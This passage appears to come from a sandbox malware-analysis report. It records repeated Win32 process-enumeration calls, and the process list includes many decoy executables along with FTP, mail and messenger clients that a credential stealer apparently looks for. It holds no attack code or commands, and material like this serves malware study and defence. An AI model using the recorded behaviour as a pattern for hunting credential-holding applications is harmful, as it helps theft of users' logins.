th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0207.940] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0207.943] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.944] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0207.946] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0207.948] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0207.950] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0207.989] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0207.990] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0207.992] CloseHandle (hObject=0x11c8) returned 1 [0207.992] Sleep (dwMilliseconds=0x64) [0207.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0208.008] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.009] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.011] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.013] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.014] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0208.016] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.018] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0208.020] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0208.022] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0208.023] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.025] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.027] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0208.028] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.030] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.031] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.033] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.035] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.036] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.038] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.077] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0208.078] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0208.080] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0208.082] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.084] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0208.086] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0208.088] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0208.089] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0208.091] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0208.093] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0208.095] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0208.097] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.099] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0208.100] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0208.102] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0208.104] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0208.106] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0208.110] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0208.112] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0208.114] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0208.116] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0208.117] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0208.119] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0208.121] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0208.123] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0208.126] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0208.128] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0208.129] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0208.131] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0208.133] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0208.135] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0208.137] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0208.148] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0208.150] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0208.153] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0208.154] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0208.156] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0208.158] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0208.160] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0208.162] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0208.164] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0208.166] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0208.169] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0208.171] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0208.173] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0208.176] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0208.178] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0208.180] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0208.182] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0208.184] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0208.186] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0208.188] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0208.191] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0208.301] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0208.304] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 